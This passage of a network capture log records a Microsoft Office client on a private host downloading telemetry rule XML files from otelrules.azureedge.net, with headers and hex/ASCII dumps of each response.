2024-10-29 03:17:57 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:57 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031757Z-16849878b78xblwksrnkakc08w000000059g000000001tam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 54e1ad71-801e-008f-48b2-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031757Z-17c5cb586f6hhlf5mrwgq3erx8000000079g000000002znz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:57 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2b09286a-a01e-003d-7487-2998d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031757Z-17c5cb586f69w69mgazyf263an00000004zg00000000p65r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:58 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031758Z-17c5cb586f69w69mgazyf263an000000051000000000h8vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:17:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031758Z-15b8d89586fvk4kmbg8pf84y8800000006v0000000009wtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031758Z-15b8d89586ffsjj9qb0gmb1stn0000000a2000000000eyns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:58 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031758Z-16849878b786fl7gm2qg4r5y70000000064000000000qkn5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: d919e2dc-e01e-001f-153d-261633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031758Z-r197bdfb6b4skzzvqpzzd3xetg00000005e00000000006yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:59 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031759Z-16849878b786jv8w2kpaf5zkqs00000004ug00000000b8m9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:59 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5271dd0b-801e-00a0-6eb7-282196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031759Z-r197bdfb6b48pcqqxhenwd2uz800000006s000000000an8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:17:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:59 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031759Z-16849878b78wv88bk51myq5vxc000000069g000000004712 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
